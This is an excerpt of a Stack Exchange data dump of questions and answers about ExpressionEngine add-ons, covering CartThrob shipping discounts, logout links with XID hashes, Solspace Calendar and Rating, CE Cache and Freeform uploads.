  <row Id="19098" PostTypeId="1" AcceptedAnswerId="19465" CreationDate="2014-02-04T22:01:07.593" Score="0" ViewCount="122" Body="&lt;p&gt;Is it possible to have a shipping discount for just one shipping method in CartThrob? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, our client would like to set up Free Shipping Over X, with X being $150 but have the free shipping ONLY apply to UPS Ground shipping (which is $10). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that this isn't exactly possible. It seems like a workaround would be to use &quot;Amount Off For Orders Over X&quot;, however I'm positive that our client won't go for that.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2014-02-14T17:31:34.307" Title="Shipping discount for one shipping method in CartThrob" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19101" PostTypeId="2" ParentId="18906" CreationDate="2014-02-04T23:24:58.513" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Based on @Max Lazar's comment I was looking over our &quot;logout&quot; code vs.&#xA;  the code given in EE's documentation and I noticed this difference, we&#xA;  use this code: Log&#xA;  Out, but the docs say to use {path='logout'}. Does it matter?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I solved the mystery. The question I made above ^^^ was key and I probably should have just tried it from the get go. Turns out it was the answer. While the &lt;code&gt;ACT=10&lt;/code&gt; is the right action for logout in my install the problem is that the URL generated doesn't include the XID value which EE 2.7 now requires.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you MUST use the EE tag &lt;code&gt;{path='logout'}&lt;/code&gt; to generate logout URLs and link because it will also add an &lt;code&gt;XID={hash}&lt;/code&gt; so that the logout submission is authorized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;I discovered that you could also add the XID value to your path by using the &lt;code&gt;{XID_HASH}&lt;/code&gt; global tag. So in addition to changing my logout link to use &lt;code&gt;{path='logout'}&lt;/code&gt; I believe I could have also done:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='?ACT=10'}&amp;amp;XID={XID_HASH}&quot;&amp;gt;Log Out&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="384" LastEditorUserId="384" LastEditDate="2014-02-05T07:12:23.470" LastActivityDate="2014-02-05T07:12:23.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19102" PostTypeId="1" AcceptedAnswerId="19116" CreationDate="2014-02-05T01:20:44.190" Score="0" ViewCount="132" Body="&lt;p&gt;I need to take &lt;code&gt;{segment_n}&lt;/code&gt; where the segment is either a Month, Day, or Year value and add values to it. For example, I need to be able to add values like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;calendar/landing&quot; month_start=&quot;{segment_2}&quot; month_end=&quot;{segment_2} +1 month&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2014-02-05T08:44:27.717" Title="Date math using segments" Tags="|solspace|date|solspace-calendar|date-format|mx-calculator|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19103" PostTypeId="1" CreationDate="2014-02-05T02:47:12.280" Score="0" ViewCount="108" Body="&lt;p&gt;I confirmed with EE that as of yet there isn't support for pagnation in a parent relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering if anyone else encountered this issue and what solutions you've employed to get around it?&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2014-02-05T03:16:53.817" Title="Getting around pagnation in parent relationships" Tags="|ee2|relationships|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19104" PostTypeId="2" ParentId="19103" CreationDate="2014-02-05T03:16:53.817" Score="2" Body="&lt;p&gt;Check out Better Pagination by Bold Minded/Brian Litzinger.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to achieve what you need using the limit and offset parameters with that add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On GitHub:&#xA;&lt;a href=&quot;https://github.com/litzinger/better-pagination.eeaddon&quot; rel=&quot;nofollow&quot;&gt;https://github.com/litzinger/better-pagination.eeaddon&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="326" LastActivityDate="2014-02-05T03:16:53.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19105" PostTypeId="2" ParentId="19028" CreationDate="2014-02-05T03:21:55.777" Score="1" Body="&lt;p&gt;An empty value or the absence of a value will trigger the server-side &quot;required&quot; routine. Both your &quot;select a rating&quot; and &quot;N/A&quot; options have the same value and will trigger the error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the required=&quot;&quot; parameter in this case will therefore not work in your situation. Users who select &quot;N/A&quot; would trigger the required error, similarly to those leaving the selection on &quot;select a rating&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might have better luck with a javascript-based validation approach. For example, add an attribute to your &quot;select a rating&quot; option and check, through javascript, if that option is selected. If it is, throw a &quot;required&quot; js error. There is likely a number of approaches to this, and therefore cannot give any fail-safe examples here. Further, giving js code examples here would be outside of the score of this answer.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-02-05T03:21:55.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19106" PostTypeId="2" ParentId="17656" CreationDate="2014-02-05T03:22:30.953" Score="1" Body="&lt;p&gt;You're prefixing &quot;options&quot; to the field name instead of prefixing &quot;options&quot; with the field name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_dropdown_field_name:options}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{options:my_dropdown_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="326" LastActivityDate="2014-02-05T03:22:30.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19107" PostTypeId="1" CreationDate="2014-02-05T03:30:07.120" Score="2" ViewCount="43" Body="&lt;p&gt;I'm using the Solspace Rating module and I'd like to be able to display rating:entries that contain a review.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like I can exclude unrated or show only unrated, but how can I filter to show only rating:entries with both a numeric rating AND a review?&lt;/p&gt;&#xA;" OwnerUserId="2703" LastActivityDate="2014-02-05T04:45:16.303" Title="How can I show rating:entries that contain both ratings AND reviews?" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19108" PostTypeId="1" CreationDate="2014-02-05T03:39:07.043" Score="1" ViewCount="67" Body="&lt;p&gt;I'm using the Solspace Rating module and I'd like to be able to allow the user to toggle their vote on ratings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a user votes up but later wants to &quot;unvote&quot; or change their vote how can I accomplish this?  It seems that I can allow duplicate votes, but this does not solve the problem.&lt;/p&gt;&#xA;" OwnerUserId="2703" LastActivityDate="2014-02-06T22:40:46.003" Title="How can I toggle up/down votes on ratings?" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19109" PostTypeId="2" ParentId="19107" CreationDate="2014-02-05T04:45:16.303" Score="2" Body="&lt;p&gt;You could do it with conditionals inside the rating:entries loop to test to see if the rating field is filled:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if review}&#xA;Show the rating entry&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the example above &quot;review&quot; is the name of the review field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that means you won't get an accurate &lt;code&gt;{if rating_no_results}&lt;/code&gt; because the tag could still return results that are not displayed due to the conditional.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-02-05T04:45:16.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19110" PostTypeId="1" CreationDate="2014-02-05T06:45:51.940" Score="0" ViewCount="67" Body="&lt;p&gt;I'm attempting to upgrade my EE Discussion Form Module from version 3.1.8 to 3.1.14 in my EE 2.7.3 environment. I followed the upgrade instructions, but when I access the &lt;code&gt;Add-ons &amp;gt; Modules &amp;gt; Discussion Forum&lt;/code&gt; page in the CP nothing happens. The module doesn't seem to update. The only odd thing I see is that the change log for the module shows entries for 3.1.5 and then jumps to 3.1.14. There doesn't seem to be version 3.1.6 - 3.1.13 and I'm on version 3.1.8. So could the issue be that the module update scripts aren;t recognizing my version as one available for upgrade?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2016-06-11T09:09:04.320" Title="Can't get Discussion Form Update to run" Tags="|module|forum|updating|discussion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19111" PostTypeId="2" ParentId="19110" CreationDate="2014-02-05T06:58:03.263" Score="0" Body="&lt;p&gt;And once again it seems I was a bit too quick to post a question. I was able to force the update to run my clicking the &lt;code&gt;Run Module Updates&lt;/code&gt; button on the Modules page. So I guess the follow up questions would be Why? and Shouldn't accessing the modules control panel page still triggered the update?&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2014-02-05T06:58:03.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19112" PostTypeId="1" CreationDate="2014-02-05T08:17:41.803" Score="0" ViewCount="53" Body="&lt;p&gt;I’m working up a festival website and wondering if there would be a way to use Calendar to create and export a schedule of entries from the program i.e. users select or add entries to some kind of favourites list which can then be output as a chronologically correct timetable????&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing this, will Solspace Favourites allow the list to be built but not necessarily in date/time order?&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2014-02-06T22:47:58.577" Title="Export chronologically-correct shortlist of Calendar events?" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19113" PostTypeId="1" AcceptedAnswerId="19188" CreationDate="2014-02-05T08:20:23.137" Score="2" ViewCount="68" Body="&lt;p&gt;When you have a product that is marked as &lt;em&gt;free shipping&lt;/em&gt; and a product that has paid for shipping in the same basket, I would imagine that you would still pay for shipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A particular client of mine wants it so that if you add any product with &lt;em&gt;free shipping&lt;/em&gt; you get free shipping for your entire order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-02-06T20:53:46.090" Title="Free Shipping Products Apply to Order Shipping" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19115" PostTypeId="1" AcceptedAnswerId="19121" CreationDate="2014-02-05T08:25:51.513" Score="0" ViewCount="49" Body="&lt;p&gt;I'm using Rating and I'd like to receive a notification email whenever a review is placed. It seems that there already is such a thing, but I don't know how to configure it.&#xA;How do I select the email to which the email needs to be send?&#xA;And how do I specify which templates needs to be used?&lt;/p&gt;&#xA;" OwnerUserId="2231" LastActivityDate="2014-02-05T13:20:26.847" Title="How do I use notifications in Solspace Rating?" Tags="|solspace|solspace-rating|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19116" PostTypeId="2" ParentId="19102" CreationDate="2014-02-05T08:44:27.717" Score="3" Body="&lt;p&gt;There wasn't really a question here, but... :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Solspace Calendar, which I assume you are since you've tagged it as such, you don't have to do this calculation, it's already built into the addon. For instance, you could do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;{year}-{segment_2}-first&quot; date_range_end=&quot;+1 month&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="222" LastActivityDate="2014-02-05T08:44:27.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19117" PostTypeId="1" CreationDate="2014-02-05T09:10:23.023" Score="1" ViewCount="58" Body="&lt;p&gt;We're starting our &lt;code&gt;cal&lt;/code&gt; entry loop like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal &#xA;  date_range_start=&quot;{embed:month_start}-{embed:day_start}-{embed:year_start}&quot;&#xA;  date_range_end=&quot;{embed:range_end}&quot;&#xA;  pad_short_weeks=&quot;y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for something like &lt;code&gt;02-05-2014&lt;/code&gt; and &lt;code&gt;+1 month&lt;/code&gt; what is returned consists of exactly what we need (with a padded start to whatever Sunday happens to be for the given week).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when we use &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt; in order to start the day at a specified time that is not whatever the current day is, it only goes until the range end from whatever the actual day is, irrespective of what is specified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;today is the &lt;code&gt;5th&lt;/code&gt;, and if the loops starts as &lt;code&gt;date_range_start=&quot;02-11-2014&quot; date_range_end=&quot;+7 days&quot; pad_short_weeks=&quot;n&quot;&lt;/code&gt; ends not on the &lt;code&gt;18th&lt;/code&gt; as it should, but instead it ends on the &lt;code&gt;12th&lt;/code&gt;, which is 7 days away from today. If it were the &lt;code&gt;6th&lt;/code&gt; it would end on the &lt;code&gt;13th&lt;/code&gt;, and so on.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If we make the &lt;code&gt;pad_short_weeks=&quot;y&quot;&lt;/code&gt; it returns the correct range from the specified date (today, a later date, etc), &lt;strong&gt;however&lt;/strong&gt; this has the undesired effect of starting on the beginning of the week instead of the specified date.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And finally, if the date specified is more than &lt;code&gt;date_range_end&lt;/code&gt; away, then nothing shows up (if and only if &lt;code&gt;pad_short_weeks=&quot;n&quot;&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this a bug or are we implementing it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-02-05T18:18:26.240" LastActivityDate="2014-12-03T08:33:51.950" Title="Solspace pad_short_weeks and error with simplistic date formatting" Tags="|solspace|solspace-calendar|date-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19118" PostTypeId="1" AcceptedAnswerId="19120" CreationDate="2014-02-05T11:25:12.373" Score="1" ViewCount="61" Body="&lt;p&gt;Installed CE Cache and deployed. Funny thing is that it only caches something when i'm logged on (changed to cache in db and found out). If i use another browser to simulate a logged off user, it doesn't cache.. What could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="1555" LastActivityDate="2014-02-05T11:35:39.073" Title="CE Cache only caching logged user" Tags="|ce-cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19119" PostTypeId="1" AcceptedAnswerId="19743" CreationDate="2014-02-05T11:26:43.657" Score="0" ViewCount="35" Body="&lt;p&gt;&lt;strong&gt;Note: This is a duplicate of a support request in Devot:ee but unfortunately I haven't had a response.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m having an issue with counter which could really cause me headaches further down the line in the site that I'm developing. Counter doesn’t appear to update according to my url. I am using several categories to filter a list of products, and while the filter works perfectly with the entries that it outputs, the counter doesn’t. This means that the code is also outputting category options (on the second or third stage of filtering) which are empty. Hopefully my code helps explain this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// EXAMPLE URL - domain.co.uk/paper-card&#xA;{if triggers:cat_name_1 == &quot;&quot;}&#xA;  &amp;lt;h2&amp;gt;Colour Range&amp;lt;/h2&amp;gt;&#xA;  {exp:zoo_triggers:categories status=&quot;open&quot; channel=&quot;pm_paper_card&quot; style=&quot;list&quot; cat_group_id=&quot;1&quot; show_counter=&quot;yes&quot; show_empty=&quot;no&quot;}&#xA;{/if}&#xA;&#xA;// EXAMPLE URL - domain.co.uk/paper-card/category/whites&#xA;{if triggers:cat_name_1 != &quot;&quot; AND triggers:cat_name_2 == &quot;&quot;}&#xA;  &amp;lt;h2&amp;gt;Sheet Size&amp;lt;/h2&amp;gt;&#xA;  {exp:zoo_triggers:categories status=&quot;open&quot; channel=&quot;pm_paper_card&quot; style=&quot;list&quot; cat_group_id=&quot;2&quot; show_counter=&quot;yes&quot; show_empty=&quot;no&quot; path=&quot;{triggers:original_uri}&quot; all_path=&quot;no&quot;}&#xA;{/if}&#xA;&#xA;// EXAMPLE URL - domain.co.uk/paper-card/category/whites/a4&#xA;{if triggers:cat_name_2 != &quot;&quot; AND triggers:cat_name_3 == &quot;&quot;}&#xA;  &amp;lt;h2&amp;gt;Pack Size&amp;lt;/h2&amp;gt;&#xA;  {exp:zoo_triggers:categories status=&quot;open&quot; channel=&quot;pm_paper_card&quot; style=&quot;list&quot; cat_group_id=&quot;3&quot; show_counter=&quot;yes&quot; show_empty=&quot;no&quot;  path=&quot;{triggers:original_uri}&quot;}&#xA;{/if}&#xA;&#xA;// BELOW HERE IS WORKING FINE&#xA;// EXAMPLE URL - domain.co.uk/paper-card/category/whites/a4/small-box&#xA;{if triggers:segment_5 == &quot;small-box&quot; OR triggers:segment_5 == &quot;midi-box&quot; OR triggers:segment_5 == &quot;mega-box&quot; OR triggers:segment_5 == &quot;a3-box&quot;}&#xA;  &amp;lt;h2&amp;gt;Pick &amp;amp;amp; Mix - {triggers:cat_name_3}&amp;lt;/h2&amp;gt;&#xA;  {exp:stash:get_list name=&quot;products&quot;}&#xA;    &amp;lt;p&amp;gt;{title} - {weight}&amp;lt;/p&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;{/if}&#xA;&#xA;{if triggers:segment_5 == &quot;packs&quot;}&#xA;  &amp;lt;h2&amp;gt;{triggers:cat_name_3}&amp;lt;/h2&amp;gt;&#xA;  {exp:stash:get_list name=&quot;products&quot;}&#xA;    &amp;lt;p&amp;gt;{title} - {weight}&amp;lt;/p&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;{/if} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My problem is, in stage one I have 3 categories:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Whites (13)&lt;/li&gt;&#xA;&lt;li&gt;Colours (1)&lt;/li&gt;&#xA;&lt;li&gt;Pearlised (1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If I select Whites, in stage two I have 2 categories, however the total count for each category is taken from all entries, not the filtered list as I would expect:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A4 (14)&lt;/li&gt;&#xA;&lt;li&gt;A3 (1)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also, this becomes an issue if I select Colours or Pearlised, where I have only 1 product, neither of which have A3 as a category but it still shows A3 as a category option (and the incorrect counters).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first time I’ve used Zoo Triggers so I appreciate I could be making some glaring mistake or have overlooked something in the docs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can point out where I am going wrong it would be greatly appreciated as I feel I have exhausted the docs. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastActivityDate="2014-02-25T16:03:24.000" Title="Issues with counter when using exp:zoo_triggers:catergories" Tags="|zoo-triggers|zoo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19120" PostTypeId="2" ParentId="19118" CreationDate="2014-02-05T11:30:17.887" Score="2" Body="&lt;p&gt;Doh! Found out that this option in config.php should be set to &quot;yes&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_cache_fragment_logged_in_only'] = 'no';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1555" LastEditorUserId="1555" LastEditDate="2014-02-05T11:35:39.073" LastActivityDate="2014-02-05T11:35:39.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19121" PostTypeId="2" ParentId="19115" CreationDate="2014-02-05T13:20:26.847" Score="3" Body="&lt;p&gt;The notification settings for each Rating form are set via the &lt;a href=&quot;http://www.solspace.com/docs/rating/form/#notify&quot; rel=&quot;nofollow&quot;&gt;notify&lt;/a&gt;, &lt;a href=&quot;http://www.solspace.com/docs/rating/form/#admin_template&quot; rel=&quot;nofollow&quot;&gt;admin_template&lt;/a&gt; and &lt;a href=&quot;http://www.solspace.com/docs/rating/form/#owner_template&quot; rel=&quot;nofollow&quot;&gt;owner_template&lt;/a&gt; parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The values which &lt;code&gt;admin_template&lt;/code&gt; and &lt;code&gt;owner_template&lt;/code&gt; correspond to are the notifications you setup in the &lt;a href=&quot;http://www.solspace.com/docs/rating/control_panel/#notification_templates&quot; rel=&quot;nofollow&quot;&gt;Rating module control panel&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, say you setup two different email notification templates called &lt;code&gt;admin_notification&lt;/code&gt; and &lt;code&gt;owner_notification&lt;/code&gt;, you could use these parameters on the &lt;a href=&quot;http://www.solspace.com/docs/rating/form/&quot; rel=&quot;nofollow&quot;&gt;Rating Form tag&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;notify=&quot;admin@example.com&quot; admin_template=&quot;admin_notification&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And/or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;owner_template=&quot;owner_notification&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The latter automatically sends an email using the specified template to the email address of the author of the entry being rated.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-02-05T13:20:26.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19122" PostTypeId="1" CreationDate="2014-02-05T13:48:22.857" Score="0" ViewCount="56" Body="&lt;p&gt;One of the changes in the CT 2.5 update is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADDED: exempt_discount_from_tax config variable (can be added to EE's index.php in the $assign_to_config) to make it so that discounts do not affect taxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to get a bit of an explanation on how this works. Based in the UK I would charge tax to customers in Europe but not outside Europe. If a discount is valid in either case I need the tax to be calculated correctly in both circumstances.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastActivityDate="2016-06-12T14:32:59.403" Title="Using exempt_discount_from_tax" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19123" PostTypeId="1" CreationDate="2014-02-05T14:06:58.347" Score="1" ViewCount="95" Body="&lt;p&gt;Freeform properly displays a form containing text fields, hidden fields and a &quot;file1&quot; file type field and using enctype=&quot;multipart/form-data&quot;. However, when the form submits, it only sends the other form fields using application/x-www-form-urlencoded. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect there is some sort of javascript involved. How do I get Freeform to process the file upload portion of the form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:freeform:form&#xA;            required=&quot;name|phone|email|message&quot;&#xA;            collection=&quot;Job Applications&quot;                                                                     &#xA;            form:class=&quot;form-style&quot;&#xA;            file_upload=&quot;Documents&quot;                                                                           &#xA;            allowed_file_types=&quot;doc|docx|pdf&quot;                                                                 &#xA;            notify=&quot;{careers_email}&quot;                                                                          &#xA;            form:enctype=&quot;multipart/form-data&quot;                                                                &#xA;            return=&quot;notifications/application-confirmation&quot;}                                                  &#xA;&#xA;&amp;lt;snip /&amp;gt;                                                                                                              &#xA;                    &amp;lt;li&amp;gt;                                                                                      &#xA;                        &amp;lt;label for=&quot;input_file1&quot;&amp;gt;Upload Resume (pdf or MS Word .doc(x) format)&amp;lt;/label&amp;gt;        &#xA;                        &amp;lt;input type=&quot;file&quot; name=&quot;file1&quot; id=&quot;input_file1&quot; /&amp;gt;                                   &#xA;                    &amp;lt;/li&amp;gt;                                                                                     &#xA;&amp;lt;snip /&amp;gt;                                                                             &#xA;&#xA;        {/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;version: Freeform v3.1.0&lt;/p&gt;&#xA;" OwnerUserId="2702" LastEditorUserId="2702" LastEditDate="2014-02-13T19:28:58.817" LastActivityDate="2014-02-13T19:28:58.817" Title="Freeform v3 file upload fails to send file to server" Tags="|solspace-freeform|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19124" PostTypeId="1" CreationDate="2014-02-05T14:09:57.247" Score="1" ViewCount="88" Body="&lt;p&gt;I've posted this issue to the &lt;a href=&quot;http://ellislab.com/forums/viewthread/242756/&quot; rel=&quot;nofollow&quot;&gt;Ellis Lab Forums&lt;/a&gt;, but thought I'd also post it here in case it helps. As best as I can tell, images placed using the Rich Text Editor's 'image' button do not properly honour the directory path. It would appear that the image's src url is derived  from the path specified in File Upload Preferences at the time of entry, but that it is somehow hard-coded at that point, not set as a dynamic variable. The result is that the RTE-placed images are not portable between servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&#xA;Suppose I am building a site on a local server, which will then be moved to a remote server. When the site is moved between servers all the paths (such as File Upload Preference directory paths) get adjusted to match the new server by means of Focus Lab's Master.Config system. Now, working locally I place two images in a blog post: one placed in an RTE field via the 'image' button, and one placed via a 'file' field. (It makes no difference for this example whether they are new uploads or pre-existing images; the result is the same). I reference each image in a page template, via custom field tags – let's call them {my_rte_field} and {my_file_field}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then move the site to the remote server. What I find when I check the page source code is that the src url for the image placed via the {my_file_field} tag is correctly represented as &lt;code&gt;http://www.myremotedomain.com/path/to/image/file.jpg&lt;/code&gt;, but the image that was placed as part of the {my_rte_field} tag has the incorrect src url of &lt;code&gt;http://localdevserver/path/to/image/file.jpg&lt;/code&gt;. As a result, the image does not display on the remote site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It took me a while to notice this because I was viewing the remote site in a browser on the same machine that was running the development server. So of course the image &lt;em&gt;was available&lt;/em&gt;, albeit from the wrong server — but that wasn't obvious at a casual glance. Only when I checked the remote site on my iPad did the problem reveal itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RTE Bug? Or am I missing something here?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-02-05T14:09:57.247" Title="Bug in RTE image placement?" Tags="|bug|richtext|rte|image-path|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19125" PostTypeId="1" AcceptedAnswerId="19247" CreationDate="2014-02-05T16:12:33.867" Score="1" ViewCount="41" Body="&lt;p&gt;anyone know of a good plugin that looks for inline links where an editor has added the link like: &lt;code&gt;example.com&lt;/code&gt; not &lt;code&gt;http://example.com&lt;/code&gt; and corrects them automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was matrix/grid compatible that'd help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best, Liam&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2014-02-08T00:42:54.390" Title="Ensuring links have http:// in rich text fields" Tags="|links|automation|http|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19126" PostTypeId="1" CreationDate="2014-02-05T16:15:01.283" Score="2" ViewCount="77" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;urlset xmlns=&quot;http://www.google.com/schemas/sitemap/0.84&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;product&quot; disable=&quot;member_data|categories|trackbacks|pagination|category_fields&quot; rdf=&quot;off&quot; dynamic=&quot;off&quot; status=&quot;Open&quot;}&#xA;     &amp;lt;url&amp;gt;&#xA;        &amp;lt;loc&amp;gt;{page_url} {title}&amp;lt;/loc&amp;gt;&#xA;        &amp;lt;lastmod&amp;gt;{gmt_edit_date format=&quot;{DATE_W3C}&quot;}&amp;lt;/lastmod&amp;gt;&#xA;        &amp;lt;changefreq&amp;gt;weekly&amp;lt;/changefreq&amp;gt;&#xA;        &amp;lt;priority&amp;gt;0.5&amp;lt;/priority&amp;gt;&#xA;    &amp;lt;/url&amp;gt;&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/urlset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1161" LastEditorUserId="197" LastEditDate="2014-02-05T16:28:18.770" LastActivityDate="2014-02-05T17:01:26.417" Title="How do I find the full URL to an Structure managed entry via the regular channel loop?" Tags="|structure|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
